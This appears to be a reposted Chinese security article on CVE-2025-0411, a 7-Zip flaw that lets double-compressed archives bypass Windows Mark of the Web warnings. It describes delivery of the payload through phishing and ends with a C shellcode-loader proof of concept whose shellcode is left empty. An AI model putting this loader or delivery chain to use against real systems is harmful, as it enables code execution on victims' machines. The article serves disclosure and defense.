7-Zip文件压缩软件中的一个高危漏洞允许攻击者绕过Windows的Mark of the Web(MotW)安全功能,并在用户从嵌套压缩包中提取恶意文件时在其计算机上执行代码。
7-Zip自2022年6月的22.00版本开始支持MotW功能。从那时起,它会自动为从下载的压缩包中提取的所有文件添加MotW标记(特殊的“Zone.Id”备用数据流)。该标记会通知操作系统、浏览器和其他应用程序,这些文件可能来自不受信任的来源,应谨慎处理。因此,当用户双击使用7-Zip提取的风险文件时,系统会警告用户,打开或运行此类文件可能会导致潜在危险行为,包括在设备上安装恶意软件。
Microsoft Office也会检查MotW标记,如果发现标记,则会以“受保护的视图”打开文档,该模式会自动启用只读模式并禁用所有宏。但一个编号为CVE-2025-0411的安全漏洞可能让攻击者绕过这些安全警告,并在目标用户的PC上执行恶意代码。
此漏洞允许远程攻击者在受影响的7-Zip安装中绕过Mark-of-the-Web保护机制。利用此漏洞需要用户交互,即目标用户必须访问恶意页面或打开恶意文件。
该漏洞(CVSS评分为7.0)允许远程攻击者在受影响的7-Zip安装中绕过Mark-of-the-Web保护机制。利用此漏洞需要用户交互,即目标用户必须访问恶意页面或打开恶意文件。具体漏洞存在于压缩文件的处理过程中。当从带有Mark-of-the-Web标记的精心构造的压缩包中提取文件时,7-Zip不会将Mark-of-the-Web标记传播到提取的文件中。攻击者可以利用此漏洞在当前用户的上下文中执行任意代码。
24.09版本之前的所有版本均被视为存在漏洞。
该漏洞的利用方法是通过对可执行文件进行双重压缩来触发漏洞。
接下来,双重压缩的7Zip文件会被上传到一个有效载荷分发服务器,并通过钓鱼邮件等方式将恶意URL发送给受害者。当受害者下载该文件后,可以看到“MotW”(Zone.Identifier - 下载来源)标记:
作为执行的一部分,受害者需要点击压缩文件并运行可执行文件。
漏洞执行成功后,如下图:
POC代码:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
DWORD oldprotect = 0;
unsigned char p[] = {
//calc.exe shellcode
};
unsigned int len = sizeof(p);
void * payload_mem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(payload_mem, p, len);
BOOL rv = VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
// x86_64-w64-mingw32-g++ .loader.cpp -o loader.exe -s
原文始发于微信公众号(二进制空间安全):可绕过安全保护机制的7zip代码执行漏洞及Poc
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论